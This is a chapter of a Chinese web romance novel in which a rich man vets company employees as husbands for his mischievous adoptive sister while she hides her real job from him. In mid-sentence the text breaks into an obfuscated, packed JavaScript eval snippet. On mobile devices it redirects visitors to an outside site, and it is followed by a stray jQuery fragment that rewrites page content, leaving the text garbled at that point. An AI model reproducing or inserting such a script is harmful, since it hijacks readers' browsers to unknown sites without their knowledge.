池镜心眨了眨眼睛,恍然大悟:“我知道了!因为刚才我夸你了,是不是?啧啧,你都这么大个人了,居然被夸一句就会脸红。你是不是很喜欢别人夸你?那我今天就多夸你几句好了。”
池镜心伸出手,像撸阿智的狗头一般揉着裴清昀的脑袋,各种浮夸的夸奖张口就来:“阿昀超棒,阿昀超厉害,阿昀是全世界最好的哥哥……”
裴清昀一脸冷漠地抬手将她的手拍开:“温书去,都耽误多长时间了,今天的学习任务完不成别想睡觉。”
他起身去卫生间洗了把脸。冰冷的水流迅速冷却了脸颊的温度,脸色很快恢复成一贯的冷白。他抬头看向镜子,却发现自己的耳朵依然是红的,像是某种无法掩藏的破绽。
失控感袭上心头。他强行按下内心深处的异样感受,暗暗决定,务必要尽快给阿心找到合适的赘婿。
28. 招赘
第二天是周一,池镜心所在的事务所没什么活,钟言真提前一天在工作群里通知大家周一不必返工了。
早上裴清昀得知她今天不需要返工,便抓她去办公室温书。
在去集团总部的路上,池镜心一直埋头玩手游,玩到头晕眼花她才停下来,百无聊赖地打量自己所乘坐的这台黑色迈巴赫。
她忽然有些好奇:“你为什么一直都只乘坐这一台车?有钱人不是一般都有好多台豪车,天天换着开都不重样吗?”
坐在她旁边的裴清昀正在查看手机里的邮件,随口回道:“这台车的防弹等级达到了VR10,是全球唯一一款能达到这个防护级别的量产民用车。”
到了他这个地位,已经不需要靠车的数量和豪华程度来彰显身份了,保障安全才是最重要的。
池镜心撇了撇嘴:“你还挺怕死。”
裴清昀放下手机,耐心跟她解释:“不是怕死,是没有必要换车。天天换车,是那些没正事干的花花公子才会做的事。以后要是有男仔天天开不同的车来追你,你可千万别给这种人眼神,不过是一群轻浮虚荣的草包罢了。”
池镜心:“……”
不知道怎么回事,她总感觉裴清昀变得有些性缘脑了,三句话不离她的感情生活。可是她哪有什么感情生活呢?目前她唯一想睡的就是自家的便宜哥哥,他还不让她睡。
裴清昀见她不说话,一副若有所思的样子,他忽然警觉起来,不会真让他说中了吧?真的有不务正业的浪荡子天天开不同的车追她?
不管真的假的,反正他要将这种可能性掐死在摇篮里。
“你是不是不喜欢这台车?”裴清昀问。
“啊?”池镜心被问懵了,她的便宜哥哥现在不仅性缘脑,思维还很跳跃。
“你喜欢什么车?我给你买。”裴清昀一本正经地看着她。
不管阿心喜欢什么车他都会给她买,省得她被那些开着超跑招摇过市的纨绔子弟给骗了去。
“……”池镜心简直无语,见他神色认真不像在开玩笑,她赶紧拒绝,“我对车不感兴趣,而且我没有驾照。”
裴清昀想说“没有驾照就去考”,但他忽然想起来,之前他看过一些国外的研究数据,ADHD青少年在拿到驾照的首月,出车祸的概率比同龄人高出62%,在拿到驾照的头四年,这一风险依然高出37%……他瞬间惊出一身冷汗,阿心绝对不能开车!
他立刻提议道:“我给你雇一个司机。以后你上下班都让司机接送,这样我也放心些。”
池镜心吓得连连摆手:“不不不,不必了,我就做点兼职而已,挣的钱还没有司机一半的薪水多,雇个司机接送我,那我不成了倒贴钱上班了?这也太荒谬了!”
荒不荒谬的并不重要,重要的是,要是有司机接送她上下班,那她的真实工作岂不是很容易就暴露了!她还没有睡到便宜哥哥!怎么能提前事迹败露被他赶出家门!
裴清昀看着她那目光躲闪的心虚模样,只觉得好气又好笑,还有点隐隐的心酸。
他对这孽障可以说得上是掏心掏肺了,又当哥又当家教又当提款机,最近还揽下了帮她投稿的活,简直就是十项全能核动力牛马。
这孽障却成天骗他,耍他,糊弄他,直到现在都不肯向他坦白她的真实工作。她不想要司机,其实也只是怕他得知她的真实行踪吧。
他哪里是在给人当哥哥,他分明是在当绝世大冤种。
裴清昀越想越气,脸色也冷了几分:“我出钱雇司机,哪里用得着你倒贴钱了?我还能不知道你,你属貔貅的,只进不出。”
池镜心睁着清澈明亮的大眼睛,竭力让自己看上去无比的情真意切,语气也调整至前所未有的温柔:
“哥哥,我是替你心疼钱呀。这段时间我已经浪费了你好多钱,我真的很过意不去。你工作那么辛苦,又不打算结婚生孩子,就应该趁年轻多攒点养老钱,不然你老了可怎么办?港岛可是个手停口停的社会,不能不未雨绸缪呀。”
裴清昀被她逗得轻笑了一声。攒养老钱?真是新奇的理由,亏她想得出来。
他似笑非笑地看着池镜心:“我们阿心这么体贴懂事,我老了以后肯定可以指望你,是不是?”
“啊?这……”池镜心卡了一下壳,干笑了两声,“当然,我当然愿意给哥哥养老。不过你八十岁的时候,我也有七十三岁了,让一个七旬老人打工供养八旬老人,好像也不太现实吧?”
裴清昀抬手揉了揉她的脑袋,跟揉阿智脑袋是同样的手法:“逗你的。你哥我怎么可能需要你养?我能养你到入土。给你买台车雇个司机要不了几个钱,不必替我节省。对了,之前给你转的那一百万花得差不多了吧?”
池镜心大惊:“那一百万我还没动过呢!怎么可能就花得差不多了?我是赌博还是嗑药啊?”
裴清昀没忍住拍了她后脑勺一巴掌:“胡说八道什么!为什么不动我给你的钱?”
他又生起气来。一方面气阿心老是满嘴跑火车,另一方面气她居然不肯花他的钱。是不信任他,把他当外人吗?合着他为了这孽障忙前忙后这么久,最后还只是一个外人?
池镜心委屈巴巴地捂着后脑勺:“这段时间我一有空就被你摁着温书,我哪有时间花钱?再说我也没有那么多需要花钱的地方啊。”
她没有什么奢侈的爱好,平时也就抽个烟,买几本推理小说,自己那点薪水就足以应付日常开支了。
裴清昀听她这么一解释,立马就气消了。怪他,他对女性消费水平的认知都来源于他母亲裴蕴仪和他表妹裴清嘉。这两位裴女士都相当能花钱,一百万还不够她们一周的开销。他想当然地以为这点钱阿心也会很快花完。
他继续揉池镜心的脑袋,温声安慰她:“阿心好乖好会攒钱。以后每个月我都给你转一百万零花钱,好不好?你想买什么都行,继续攒起来也行,我都不过问。”
池镜心低着头不说话,她突然有点难受。她的便宜哥哥简直是把她当成公主在养,又要给她买车,又要给她雇司机,还给她发巨额零花钱。可她一直在欺骗他,戏弄他,要是他知道真相的话,估计会气到一辈子都不再理她吧……
池镜心蹙起了眉,怎么回事?心口闷闷的好难受,是良心要长出来了吗?原来被爱不光会长出血肉,还会长出良心啊。
裴清昀见她脸色不对,立刻询问:“怎么了?身体不舒服吗?”
池镜心摇了摇头:“没有。哥,你……”她犹豫了几秒,还是问出了口,“你会不会很讨厌别人骗你?”
裴清昀愣了一瞬,眼底闪过一丝不易察觉的笑意。这小骗子居然也有良心发现的时候。
他假装认真思考了片刻:“看情况吧。如果对方主动向我坦白,诚心诚意地忏悔,拿出实际行动补偿我,我也可以酌情考虑再给对方一次机会。”
池镜心:“……”
这么麻烦啊……早知道一开始就不骗他了。算了,等她明年考上大学再跟他坦白吧,如果她考得好的话,也许阿昀一高兴就免了她死罪。
至于买车雇司机,这不是几天时间就能搞定的事。她大可以选一款提车周期特别长的车,搞不好她都考上大学了,车还没交付,那她的行踪就暂时不会暴露了。
裴清昀以为她良心发现了,一直耐心地等她坦白从宽。谁知直到抵达集团总部,她都跟个锯了嘴的闷葫芦似的,低着头一言不发。他也不催促,她坦不坦白否都无所谓,反正从小到大他对她层出不穷的恶作剧早已习以为常了。
来到办公室,之前裴清昀让助理订的新办公桌已经到了,他把池镜心赶去使用那张新办公桌,然后给助理交代了一个任务:将集团总部所有年龄在二十八周岁以下,身高在一米八以上,毕业院校QS排名前一百的未婚男员工资料发给他。
虽然这个任务听起来十分诡异,但助理还是面不改色地领命了。
上午快结束的时候,助理将整理好的资料都发给了裴清昀。
吃过午饭,池镜心呆在茶室里打游戏,裴清昀坐在办公桌前,认真翻阅助理发来的资料。
翻着翻着,他眉头都皱了起来。这些男的寸照怎么都这么丑!
阿心长那么漂亮,就得配一个颜值无可挑剔的帅哥,丑男再优秀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367045|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都只能被淘汰。
这个男的长得倒是挺帅,但是卧蚕肥厚,气色发黑,这面相一看就好色纵欲,淘汰。
这个男的面相就更不行了,脸似橘皮,鼻若鹰钩,搞不好是个阴毒的家暴男,淘汰。
这怎么还有个法国鬼佬?阿心不喜欢吃法国菜,她跟法国佬过不到一起去的,淘汰。
这个男的各方面条件都不错,但发际线岌岌可危,隐隐有秃头之势。阿心绝对不能嫁给一个秃子!淘汰!
在裴清昀极为严苛的筛选下,最后只有七个人的资料留了下来。
他将这七个人挨个叫来办公室,简单地闲聊几句,主要是为了确认照片和本人是否存在货不对版的情况。
第一个进来的男员工就把他吓了一跳。照片上这男的可以说得上是风华正茂,但现实中一看,此人一脸憔悴,比照片上苍老了十岁都不止。这人不过入职一年而已,工作压力有那么大吗?
“裴先生,您找我有什么事吗?”男员工小心翼翼地问。
裴清昀:“坐吧。只是随便聊聊。最近工作压力很大吗?你看起来休息得不太好。”
男员工:“没有没有,工作上没有什么压力。是我爸今年得了好几种糖尿病并发症,我妈又查出患了阿尔茨海默症,为了照顾他俩我有点心力交瘁。不过您放心!我绝对不会耽误工作的!”
裴清昀:“……你辛苦了。”
他默默地把这个男员工踢出了候选名单。糖尿病和阿尔茨海默症都有一定几率遗传,将来要是遗传给了阿心生的孩子,那还了得。
接着他又接连淘汰了三名赘婿选拔赛候选人。
二号候选人头发有点油,裴清昀认为此人不是很爱干净,果断将其淘汰;
四号候选人戴了一条奇怪的黄色领带,裴清昀认为此人品味糟糕,也将其淘汰;
六号候选人戴了个眼镜,裴清昀问了一下他的眼镜度数,居然已经八百多度了,高度近视可是很有可能会遗传的,那必然也只能淘汰了。
这一轮筛选下来,赘婿选拔赛仅剩三名选手进入决赛。这三人都年轻英俊,名校毕业,前途无量,搁谁家都是乘龙快婿。
但不知道为什么,裴清昀始终觉得剩下这三人没有一个配得上阿心。也许是兄长滤镜太厚,就算阿心是个满嘴鬼话的小混蛋,胡作非为的小霸王,他也依然觉得全世界的男的都配不上她。
他叹了口气,决定还是先请私家侦探调查一下这三人的背景,如果家世清白,人品端正,就可以介绍给阿心认识。
他身为这场赘婿选拔赛的主办人,将任命池镜心为决赛评委,由她亲自考察决赛选手,选出一名最终的优胜者。
最后一名候选人离开办公室后,一直坐在书桌前温书的池镜心终于忍不住问:“你们公司的男员工怎么长得都还挺好看的?难道招聘的时候还要看脸吗?”
裴清昀冷哼了一声,没有回答她。刚才那七个人是他亲自选出来的总部男员工颜值代表,当然有几分姿色了。阿心夸他们长得好看,也算是对他审美的认可。但是听到阿心夸别的男的好看,他还是莫名有些不开心。
过了片刻,他问池镜心:“你觉得刚才哪个男的长得最符合你的审美?”
池镜心歪着头回忆了一下:“都那么回事吧,乍一看是挺帅的,但也没有惊艳到我,我现在都想不起来他们长什么样了。”
她忽然笑嘻嘻地看向裴清昀,“要说谁长得最符合我的审美,那当然是哥哥你啦,你比刚才那些人好看多了,要不我能馋你身子?
你真的不考虑让我睡一次吗?我温书这么辛苦,哥哥愿意用身体奖励我的话,我肯定会更加努力的。”
裴清昀:“……”
阿心又在胡言乱语了。正常来说他应该生气,应该训斥她。但诡异的是,此刻他并不怎么生气,他的关注点居然是:阿心夸他好看……
意识到这个反应有多诡异后,他立刻绷着脸低声骂了一句:“有病!”
池镜心无所畏惧地耸了耸肩,咬着笔帽继续温书。
只有裴清昀自己知道,刚才他不是在骂阿心,他是在骂他自己。